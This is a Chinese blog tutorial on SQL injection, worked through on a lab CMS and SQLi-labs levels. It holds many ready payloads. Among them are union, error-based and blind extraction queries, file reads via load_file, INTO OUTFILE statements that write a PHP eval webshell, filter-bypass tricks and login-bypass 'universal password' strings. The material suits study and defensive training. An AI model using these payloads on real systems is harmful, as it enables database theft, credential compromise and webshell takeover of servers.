sql注入基础


一、 SQL注入简介

1.1 SQL简介

结构化查询语言 (Structured Query Language)是关系式数据库管理系统的标准语言(ANSI X3.135 - 1986),实际上不同数据库系统之间的SQL不能完全相互通用。

关系型数据库

  • 特点:明显的层次结构, 库名|表名|字段名|字段内容

  • 例子:mysql、access、 Mssql、orcale

1.2 sql注入

一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

攻击者通过向【用户可控参数】中注入SQL语法,【破坏原有SQL结构】达到编写程序时意料之外结果的攻击行为。

  • 漏洞原理:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

1.3 注入点可能存在的位置

Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:

1)@GET数据

2)@POST数据

3)@Cookie数据

4)@HTTP 头部(HTTP 请求报文其他字段)

GPC是最常用的三种提交数据的方法。

1.4 SQL注入漏洞的危害

1)增删改查:操作数据库数据。

2)脱库:获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)

3)提权:如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接写入webshell或者获取服务器系统权限。例如:mof提权|udf提权

1.5 SQL注入分类

⚠️:数据库中三种数据类型数字、文本、时间。

1.5.1 从数据类型的角度分类

数字型:数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。

字符型:字符型注入正好相反。

1.5.2 从注入手法的角度分类

1)联合查询:UNION query SQL injection (可联合查询注入)

2)布尔盲注:Boolean-based blind SQL injection (布尔型注入)

3)延时注入:Time-based blind SQL inj ection (基于时间延迟注入)

4)报错注入:Error-based SQL injection (报错型注入)

5)堆叠查询:Stacked queries SQL injection (可多语句查询注入)

1.5.3 从注入的位置角度分类

  • GET注入

  • POST注入

  • Cookie注入

  • HTTP其他头字段注入

  • 【留言板注入

  • 搜索框注入

  • …】

二、Mysql基础知识

2.1 mysql注释

# 【HTTP头部注入】
-- 【--空格、--+ URL注入、如果在URL注入中使用#,要将其编码为%23】
/*...*/ 
/*!...*/ 【内联查询】

2.2 元数据

库名、表名、字段名等信息

2.3 mysql元数据数据库(information_schema)

2.3.1 information_schema的信息

information_schema的关键信息
  • 表所属库的信息?tables-table_schema

  • 字段所属的表名?columns-table_name

  • 字段所属的库名?columns-table_schema

  • 所有的表名?tables-table_name

  • 所有的字段名?columns-column_name

EX:实验操作

元数据库操作示例

5.5.4 Mysql 常用函数与参数

常用函数列表:

=|>|>=|<=|<> 比较运算符
and|or 逻辑运算符 ⚠️:true 1 false 0,比较运算符和逻辑运算符的结果是 1和0.
version() mysql 数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@versoin_compile_os 操作系统版本
length() 返回字符串的长度
substring() 截取字符串
substr() 1. 截取的字符串 2. 截取起始位置,从1开始计数 3. 截取长度
mid()
left() 从左侧开始取指定字符个数的字符串
concat() 没有分隔符的连接字符串
concat_ws() 含有分割符的连接字符串
group_concat() 连接一个组的字符串
ord() 返回ASCII 码
ascii() 返回ASCII 码
hex() 将字符串转换为十六进制
unhex() hex 的反向操作
md5() 返回MD5 值
floor(x) 返回不大于x 的最大整数
round() 返回参数x 接近的整数
rand() 返回0-1 之间的随机浮点数
load_file() 读取文件,并返回文件内容作为一个字符串
sleep() 睡眠时间为指定的秒数
if(true,t,f) if 判断
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果
函数操作示例 比较运算符

三、注入点的判断

3.1 以CMS站点为例

(win2008-cms站点 -注入点判断)

为了演示SQL注入的四大基本手法,我们以CMS为例。 [http: //ip/cms/]

  • 环境:

​ 环境-win2008-cms站点

​ 攻击者:win10 ICS 工具:【御剑-后台扫描】

  • 目标:

​ 通过SQL注入漏洞获得后台管理员帐密并成功登录系统。

​ 后台地址[http://172.16.132.138/cms/admin/]

  • 四大基本手法可行性判断

    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入

    对链接 [http:/ /172.16.132.138/ cms/show. php?id=33]是否是注入点进行判断。

3.2 数据库回显

当我们变换id参数(33+1|33-1) 的时候,发现同一个页面,show. php页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的新闻内容。猜测后台执行的SQL语句大致结构为:

select * from dbName where id=33;

3.3 判断数字型还是字符型、是否可以进行报错注入

单引号

[?id=33’]

执行的SQL主语则变为

select * from tbName where id=33’ ;

页面报错,并且报错信息会回显在网页中,报错信息如下

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near ‘ ‘ ‘ at line 1

错误信息提示单引号位置出现错误,那么说明,SQL语句从头到参数33都是正确的。也就是说,我们添加的单引号是多余的。因此,可以断定参数33前面没有引号。则,此注入点(可能)为数字型注入。

数字型?字符型?

​ 注意报错信息的原理:从第一个字符开始往后读,读到语法错误然后报错。上述报错信息说明,’”‘之前都是正确的。’’是报错信息的单引号。规律:报错信息不出现数字-数字型、报错信息出现数字-字符型。

3.4 判断布尔状态是否存在

  • [and 1=1]

[?id=33 and 1=1 – +]

可能得SQL语句为

select * from tbName where id=33 and 1=1 –+

页面正常。存在延时状态是否存在

  • [and 1=2]

[?id=33 and 1=2 – -+]

可能得SQL语句

select * from dbName where id=33 and 1=2 –+

页面没有新闻内容,并且数据库没有报错。由于1=2是恒假式,也就是查询条件

[where id=33 and 1=2 –+]恒假,这样的SQL语句在数据库中执行后,没有返回结果,没有新闻内容。

反过来看,页面没有新闻内容,也就是SQL语句查询条件为假。也就是说,我们写的语句

[and 1=2 –+], 起到了将查询条件置为假的作用。

那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件真假性,在页面回显中有体现。

3.5 存在延时状态是否存在

  • [and sleep(5) ]

[?id=33 and sleep(5)]

注入sleep(5)语句,可以通过网络时间线看到延时。

说明sleep(5)语句起到了作用。

综上,此连接存在SQL注入漏洞。

EX: CMS站点SQL注入漏洞存在性和注入点判断

CMS站点SQL注入漏洞存在性和注入点判断

3.6 总结

再赘述一遍。

手工判断注入点的方法总结

四、联合查询注入

4.1 概述

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。 联合查询就是SQL语法中的union select 语句。 该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。 select ~~~ union select~~~ 由于虚拟表是二维结构,联合查询会”纵向”拼接,两张虚拟的表。

联合查询的强大之处:【可以跨库跨表查询】。

4.2 必要条件

  • 两张虚拟的表具有相同的列数

  • 虚拟表对应的列的数据类型相同

4.3 判断字段个数

4.3.1 order by

  • 方法原理

可以使用[order by]语句来判断当前select语句所查询的虚拟表的列数。 [order by]语句本意是按照某一列进行排序, 在mysql中可以使用数字来代替具体的列名,比如[order by 1] 就是按照第一列进行排序, 如果mysql没有找到对应的列,就会报错[Unknown co Lumn]。我们可以依次增加数字,直到数据库报错。

  • 案例:
order by判断字段个数示例

4.3.2 union select

union select null,null,—,null–+

http://192.168.33.4/cms/show.php?id=35 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+

http://192.168.33.4/cms/show.php?id=35 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
  • 案例
union select判断字段个数示例
  • 使用hackbar插件
hackbar插件使用示例

4.4 判断数据显示位置

得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11, 12,13,14,15–+]
[?id=33 union select null, null, null, null, null, null, null, null, null, null, null, null, null, null,null–+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9, 10,11, 12,13,14,15 –+]
[?id=-33 union select 1,2,3,4,5,6, 7,8,9,10, 11,12,13,14,15 –+]

  • 案例
判断数据显示位置

4.6 数据库名和数据库版本信息获取

数据库名和数据库版本信息获取

version()函数获取版本信息。

4.7 获取目标数据库数据表名

4.7.1 暴力破解的思路

  • 案例
暴力破解的思路

4.7.2 利用information_schema数据库获取

  • 获取思路
image-20241122165934014
  • 获取关于目标数据库的所有表名
获取关于目标数据库的所有表名

4.8 获取目标数据表字段名

http://192.168.33.4/cms/show.php?id=-35 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name=cms_users--+ 为了避免单引号的使用,将cms_users转化成十六进制形式。
  • 案例
获取目标数据表字段名

4.8 获取字段的值

获取字段的值

4.9 解密hash值

解密hash值

4.10 登录后台

登录后台

五、报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。

报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

5.1 group by重复键冲突

group by 是mysql天生的缺陷,成功率高。

group by和聚合函数的理解

看下表1,表名为test:

执行如下SQL语句:

SELECT  name  FROM  test GROUP  BY  name

表2:

由表1到表2的过程中,增加一个虚构的中间表:虚拟表3。

接下来就要针对虚拟表3执行Select语句了:

(1)如果执行select *的话,那么返回的结果应该是虚拟表3,可是id和number中有的单元格里面的内容是多个值的,而关系数据库就是基于关系的,单元格中是不允许有多个值的,所以你看,执行select * 语句就报错了。

(2)我们再看name列,每个单元格只有一个数据,所以我们select name的话,就没有问题了。为什么name列每个单元格只有一个值呢,因为我们就是用name列来group by的。

(3)那么对于id和number里面的单元格有多个数据的情况怎么办呢?答案就是用聚合函数,聚合函数就用来输入多个数据,输出一个数据的。如cout(id),sum(number),而每个聚合函数的输入就是每一个多数据的单元格。

(4)例如我们执行select name,sum(number) from test group by name,那么sum就对虚拟表3的number列的每个单元格进行sum操作,例如对name为aa的那一行的number列执行sum操作,即2+3,返回5,最后执行结果如下:

(5)group by 多个字段该怎么理解呢:如group by name,number,我们可以把name和number 看成一个整体字段,以他们整体来进行分组的。如下图

(6)接下来就可以配合select和聚合函数进行操作了。如执行select name,sum(id) from test group by name,number,结果如下图:

5.1.1 Payload1

?id=33 and (select 1 from (select count(*) , concat( (select version() from
			information_schema.tables limit 0,1) , floor( rand( )*2))x from information_schema.tables
group by x)a) --+

EX:group by重复键冲突报错注入

			http://192.168.33.4/cms/show.php
?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1), floor(rand( )*2))x from information_schema.tables group by x)a) --+

Duplicate entry '5.5.530' for key 'group_key'

成功在报错信息中获得版本信息。

尝试获得数据库名信息:

			http://192.168.33.4/cms/show.php
?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1), floor(rand( )*2))x from information_schema.tables group by x)a) --+

不稳定,需要多次执行。

利用其他的sql语句:

			http://192.168.33.4/cms/show.php
?id=33 and (select 1 from (select count(*),concat((语句写在这里), floor(rand( )*2))x from information_schema.tables group by x)a) --+

5.1.2 简化版本

?id=33 union select 1, 2, concat(left (rand() ,3) , '^' , (select version() ) , '^' )a, count(*) ,5, 6, 7,8,9,10, 11, 12, 13, 14,15 from information_ schema.tables group by a --+

EX:group by重复键冲突报错注入

  • 获取数据库版本和数据库名:
				http://192.168.33.4/cms/show.php
?id=33 union select 1, 2, concat (left (rand() ,3) , '|' , (select version() ) , '|' )a, count(*) ,5, 6, 7,8,9,10, 11, 12, 13, 14,15 from information_schema.tables group by a --+
				http://192.168.33.4/cms/show.php
?id=99 union select 1,2, concat (left (rand() ,3) , '|' , (select version() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15--+
				http://192.168.33.4/cms/show.php
?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+
  • 获取数据库所有表名

http://192.168.33.4/cms/show.php
?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select group_concat(table_name) from information_schema.tables where table_schema=database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+
    Illegal mix of collations for operation 'UNION'

将group_concat(table_name) ——> hex(group_concat(table_name) )

				http://192.168.33.4/cms/show.php
?id=99%20union%20select%201,2, concat (left (rand() ,3) , '|' , (select hex(group_concat(table_name) ) from information_schema.tables where table_schema=database() ) , '|' )a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a--+

5.1.3 其他payload

5.2 XPATH报错注入

低版本比如5.0以下,可能不支持XPAHT报错。

5.2.1 extractvalue( )

?id=33 and extractvalue(1, concat('^', (select version()), '^')) --+

获得数据库版本号。

5.2.2 updatexml( )

?id=33 and updatexml(1, concat( '^', (select database()), '^'),1) --+

获取数据库名和路径。

拓展小结

数据类型溢出

XPATH报错:extractvalue()、updatexml()

主键重复

列名重复

几何函数缺少参数

六、布尔盲注

6.1 原理

利用页面返回的布尔类型状态,正常或者不正常。

如果是数字型:

and 1=1 正常显示

and 1=2 不正常显示

6.2 数据库名爆破思路 (成本有点高)

and database()=字典项

  • 错误猜测:不正常显示

  • 正确猜测:正常显示

6.3 数据库名长度猜测

异常

利用二分查找。

数据库名长度为3。

6.4 逐字母猜测数据库名

http://192.168.33.4/cms/show.php?id=33 and substr(database(),1,1)='c'

猜对的情况:

猜错的情况:

也可以转化为ascii码,利用比较大小的方法,二分查找确定每一位的字母。

http://192.168.33.4/cms/show.php?id=33 and ascii(substr(database(),1,1))<100

98,99两个之间,其他字母逐个比较。

七、延时注入

可能会受网络环境的影响。

7.1 原理

利用sleep( )语句的延时性,以时间线作为判断条件。

7.2 获取数据库名

  • 获取数据库名长度
?id=33 and if(length(database()=3) ,sleep(5),1)--+
http://192.168.33.4/cms/show.php??id=33 and if(length(database())<10,sleep(5),1) --+
http://192.168.33.4/cms/show.php?id=33 and if(length(database())=2,sleep(5),1)

猜对了则会产生延时,猜错了没有延时。之后,类比于布尔盲注的方式,可以获得想要的信息。

布尔盲注和延时注入都属于盲注,过程具有强烈的规律性,可以用python脚本实现自动化的布尔盲注和延时注入。

八、利用SQL注入漏洞读写文件

8.1 前提条件

我们可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。

8.1.1 条件一:secure-file-priv值为空

  • 参数介绍

可以在phpmyadmin中看到该变量:

该参数在高版本的mysql数据库中限制了文件的导入导出操作。该参数可以写在my.ini配置文件中[mysqld]下。若要配置此参数,需要修改my.ini配置文件,并重启mysql服务。

  • 关于该参数值的相关说明
secure-file-priv 参数配置 含义
secure-file-priv= 不对mysq ld的导入导出操作做限制
secure-file-priv=’c:/a/ ‘ 限制mysqld的导入导出操作发生在C:/a/下 (子目录有效)
secure-file-priv=null 限制mysqld不允许导入导出操作

默认情况下,配置文件里面没有配置这个参数,默认值为null。

  • 配置参数

1)找到配置文件:

C:\phpstudy\MySQL\my.ini:

2)将参数配置在mysqld下:

3)重启WAMP。

该变量的值为空,意味着可以进行导入导出操作。

8.1.2 条件二:当前用户具有文件权限

查询语句:

select File_priv from mysql.user where user="root" and host="localhost"

判断当前root用户是否具有文件操作权限。

8.1.3 条件三:知道要写入目标文件的绝对路径

显然,只有知道要写入目标文件的绝对路径才能写入。

8.2 读取文件操作

SQL注入漏洞确认:

利用注入漏洞读取文件:

?id=-1 union select 1,load_file( 'C:\\Windows\\System32\\drivers\\etc\\hosts'), 3--+
load_file('')的路径可以是:
C:\\Windowsl\\System32\\drivers\\etc\\hosts
或
C:/Windows/System32/drivers/etc/hosts

8.3 写入文件操作

  • payload示例
?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]); ?>',3 into outfile 'c:\\phpstudy\\www\\1.php'--+

页面如果不报错说明写入成功,报错也不一定就没写入成功。

直接访问写入的文件http://ip/1.php

  • 实验测试:

执行完第一次会报一个错误,再执行一次提示文件已存在。

九、宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。

9.1 SQLi-labs-less32

使用?id=1'进行测试的时候,发现提交的单引号会被转译 \'。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构。

  • 回显测试:✅

?id=1

?id=2

  • 判断数字型还是字符型:

单引号被转为2\'

双引号也被转译了。

特殊字符均被转译。

  1. $string = preg_replace('/'.preg_quote('\\').'/'.$, "\\\\\\\\", $string);
    
    
       - `preg_quote('\\')`:这个函数会转义正则表达式中的特殊字符,这里转义的是反斜杠`\`。
       - `/'.preg_quote('\\').'/'.$`:构建一个正则表达式,匹配一个反斜杠。
       - `"\\\\\\\\"`:这是替换字符串,它将每个反斜杠替换为两个反斜杠(在正则表达式中,一个反斜杠需要被转义为两个反斜杠)。
       - `$string`:这是要处理的原始字符串。
    
    2. ```php
       $string = preg_replace('/\/i', '\\\'', $string);
       $string = preg_replace('/\"/', "\\\\\"", $string);
    转译单双引号。

想法:让转译失效。

阅读32关的源码,发现几句非常意思的代码,如下。

此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。

GBK编码:

GBK编码采用双字节编码方案,其编码范围: 8140- FEFE, 剔除xx7F码位,共23940个码位共收录汉字和图形符号21886个,其中汉字(包括部首和构件) 21003个,图形符号883个。 GBK编码支持国际标准ISO/ IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。

转译字符\的编码是5c, 正好在GBK编码范围之内 ,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转译字符5c,会被看作GBK汉字的低位字节编码,从而失去转译的作用。

如果我们提交这样的参数?id=1000%df' union select 1,2,3 --+,就可以使用联合查询进行注入了。

  • 0xdf5c 是一个汉字。

  • 0x815c✅

  • 0x805c,不可以,不在范围内。

用法:

尝试吞掉转译字符:

原始语句:select * from users where id='$id' LIMIT 0,1
提交的参数:1 %df'
经过转译的参数(%df经过url解码实际上就是一个字节——0xdf):1 df\'
经过GBK编码识别:1 df\'=1 (某个双字节汉字)'
转译符号被吸收掉了:select * from users where id='1 (某个双字节汉字)'' LIMIT 0,1
多了个单引号所以语句会报错。按照经验报错信息出现了数字=>字符型注入。

转译字符失效,”‘“破坏了原来的语句结构,所以报错,根据错误确定,属于字符型注入。

添加注释,去掉原来语句中的',正常显示。

select * from users where id='1 (某个双字节汉字)' --+ ' LIMIT 0,1

9.2 联合查询注入

迫使转译失效以后可以进行联合查询。

  • 确定字段个数:

判断列数。

字段个数为3。

  • 判断显示位置:
  • 获取数据库信息:

十、Cookie注入

我们使用SQLi-labs第20关来说明Cookie注入问题。

Cookie注入的注入参数需要通过Cookie提交,可以通过[document.cookie ]在控制台完成对浏览器Cookie的读写。

来到less-20,在控制台输入

document.cookie="uname=Dumb' and extractvalue(1, concat(0x7e, database() , 0x7e) )#"

刷新页面即可。

用BP进行cookie注入:

⚠️:+是在url中对空格的变换,在HTTP请求中用#或–空格 来表示数据库注释。

用BP抓取:1)提交POST请求之前刷新浏览器的包,2)提交登录名和密码之后再刷新浏览器的包。

两个包都传到repeater模块和compare模块中。

对比两者,发现cookie信息。

利用重放模块做cookie注入漏洞判断:

出现mysql的报错信息,确定是字符型注入,且是单引号。

利用报错注入:

updatexml(1, concat( '^', (select database()), '^'),1)

成功得到数据库名。

十一、Base64注入

我们以SQLI-labs第22关来说明base64 注入的问题。

base64注入也是比较简单的,只不过将注入字段经过base64编码。经过测试,发现22关属于Cookie型的base64注入。

我们可以使用报错注入手法,payload

document.cookie="uname=Dumb" and extractvalue(1, concat( 0x7e, database() , 0x7e))#"

在控制台输入

document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx 1ZSgxLGNv bmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIW== "

刷新网页即可。

第22关由于php.ini时区配置问题报错

纠错:

重启PHPstudy。

时间报错消失。

用BP实验SQLI-labs-less22

1、用Dumb Dumb登入第22关。

观察COOKIE字段值,**RHVtYg==**,貌似是base64编码。

2、抓包分析

在当前页面刷新,抓包,发送到repeater模块。

3、编解码分析

base64解码,是Dumb,所以cookie字段的值是 Dumb的base64编码。

4、注入漏洞探测

Dumb' RHVtYic= 探测——>

没有报错。

Dumb" RHVtYiI=探测——>

报错——>字符型注入、双引号闭合。

5、利用报错注入

Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)#
RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=

成功获取数据库版本信息。

十二、HTTP头部注入

http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。

12.1 User-Agent 注入

如SQLi-labs第18关。

payload:

User-Agent : hacker' and updatexml(1, concat (0x7e, database() ,0x7e) ,1) and '1'='1

12.2 Referer注入

Soli-labs第19关,注入字段在Referer中:

hacker' and updatexml(1, concat( 0x7e, database() , 0x7e) ,1) and '1'='1

思路同Agent注入。

Referer: sxk' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

十三、基于约束的SQL攻击

13.1 概述

改漏洞是由于sql中insert 和 select 对长度和空格的处理方式差异造成的。

13.2 背景分析

注册页面的逻辑:

1.用select * from table where username=’$username’检测你输入的用户名,如果存在,说明你注册过,那么不让你注册。

2.如果用户名不存在,用 insert into table values(‘$username’,’$password’)把你输入的用户名密码插入数据库。

13.3 漏洞分析

  • select 语句对于参数后面空格的处理是删除:

假设最大长度限制为25 我们输入用户名为 admin[20个空格]1,密码随意。脚本查询的时候因为用了select 语句,空格被删除,剩下了admin1。

  • insert只是截取最大长度的字符串,然后插入数据库。

假设数据库里面只有一个admin,所以select语句查不到admin1,因此重新注册为新用户,但是注册的时候用的是insert语句,他不会删除空格,只是截取最大长度的字符串,也就是admin[20个空格],和自己设的密码插入到数据库,作为新的用户。

  • 漏洞结果

这时候如果我们用admin 去查找,用select语句,就会返回两条记录,一条是真正的admin另一条是我们绕过用户名检测假的admin(数据库里面的空格也在查询的时候被删除了再比较),这时我们可以【用admin和自己设的密码就可以登陆】了。

13.4 演示

13.4.1 数据空中的真正的用户(我们要绕过的用户)

13.4.2 使用select语句查询时空格被删除

13.4.3 insert 连空格一起插入

13.4.4 模拟用假密码登陆真用户

13.5 总结

这种绕过方式利用的是select 和 insert 的差异性,其实差异性也是漏洞的根本成因之一,要多多留心。

小结

1)常用语句

查询所有数据库
group_concat(schema_name) from information_schema.schemata 

查看当前数据库表名
group_concat(table_name) from information_schema.tables where table_schema=database()

查看其他数据库表名
group_concat(table_name) from information_schema.tables where table_schema='数据库名' 

查询当前数据库下的 users 表的列名
group_concat(column_name) from information_schema.columns where table_name='users'

查询其他数据库下表的列名
group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名';

查询当前库下的字段值
group_concat(id,username,password) from users

查询其他库下的字段值
group_concat(字段名) from 数据库名.表名

2)写马

写马条件:
1.secure_file_priv="" #在my.ini中,值为空时可写入任何文件,值为NULL是无法写入任何文件,值为某个路径时候只能往该路径写入
  查询:show variables like %secure%
  设置:set global secure_file_priv="";(5.6以下可以,以上要到my.ini文件中手动修改)
2.当前数据库用户有读写文件的权限
3.知道文件的绝对路径。

写法:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,"<?php @eval($_REQUEST['a']);?>",12,13 into outfile "/var/www/html/aaa.php"

3)SQL注入绕过

  • 空格绕过:

使用 /**/绕过过滤空格。

id=1'/**/AND/**/1=1#

括号或||绕过

id=(sleep(ascii(mid(user()from(2)for(1)))=109))
1'||updatexml(1,concat(0x7e,version()),1)||'1'='1

特殊字符代替

%09 TAB键(水平) 
%0a 新建一行 
%0c 新的一页 
%0d return功能 
%0b TAB键(垂直) 
%a0 空格
  • 注释绕过
--空格 
--空格a 
# 
/**/ 
  • 闭合绕过
id=1' and '1
  • 永真绕过
sleep(n)=0

4)万能密码

' or '1'='1
' or 1=1 #
1'||'1
1'||1#
'='
'-'

总结

本文主要较为全面的讲解web安全领域的sql注入攻击,SQL注入攻击是一种常见的网络攻击手段,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,试图欺骗服务器执行非授权的数据库命令,从而获取、修改或删除数据库中的数据。这种攻击利用了应用程序对用户输入验证不足的漏洞,可能导致严重的数据泄露或系统损坏。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
 上一篇
图-图的通用结构表达的建立 图-图的通用结构表达的建立
本文介绍了一个非常有用的图结构的表达方法,方便在上面实现图的各种算法,并且可以很方便的将其他形式的图的表示如邻接表、邻接矩阵等转化过来,进而避免了在不同结构上重新实现图算法的繁琐操作。
下一篇 
轻量级的数据交换格式JSON 轻量级的数据交换格式JSON
本文主要介绍轻量级的数据交换格式JSON。
  目录